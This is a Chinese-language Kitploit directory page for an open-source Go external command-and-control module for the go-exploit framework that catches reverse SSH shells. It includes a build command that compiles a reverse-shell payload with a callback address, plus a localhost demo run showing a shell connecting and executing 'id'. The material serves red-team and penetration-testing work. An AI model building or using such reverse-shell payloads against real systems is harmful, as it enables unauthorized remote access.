Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
external-c2-experiments — 用于 go-exploit 的 Go 外部 C2 模块,可捕获反向 SSH shell,提供服务器监听器和载荷客户端,以便将自定义 C2 配置文件集成到漏洞利用中。 | Kitploit
工具/GitHubGitHub/vulncheck-oss/external-c2-experiments
漏洞利用框架漏洞利用后渗透利用渗透测试命令与控制实用工具与框架红队远程访问工具Payload 开发
GitHubvulncheck-oss/external-c2-experiments

external-c2-experiments

用于 go-exploit 的 Go 外部 C2 模块,可捕获反向 SSH shell,提供服务器监听器和载荷客户端,以便将自定义 C2 配置文件集成到漏洞利用中。

查看仓库
111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

外部 C2:SSH

一个 go-exploit 外部 C2 模块,支持反向 SSH shell。它同时也是一个演示,展示如何将外部 C2 配置文件集成到你喜欢的 payload 中。目标不是提供一个带有规避和高级技术的完全武器化 payload,而是展示如何为那些能够实现更强规避模块并轻松集成到 go-exploit 中的 payload 创建通道。

结构

  • 核心 c2ssh 包,实现了用于设置服务器以捕获 SSH payload 的接口和结构
  • ./payload 包含供 exploit 使用的 payload 实现,功能上是 SSH 客户端以及围绕 exec 的薄封装,基于服务器响应
  • ./example 包含一个自利用测试,执行一个编译好的示例 payload

使用示例

  1. 编译 payload 以供 exploit 使用,使其对 exploit 可访问,目前这与框架解耦,因为你并不总是使用 Go payload :)
  2. 执行 exploit
go build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell
poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"
下载工具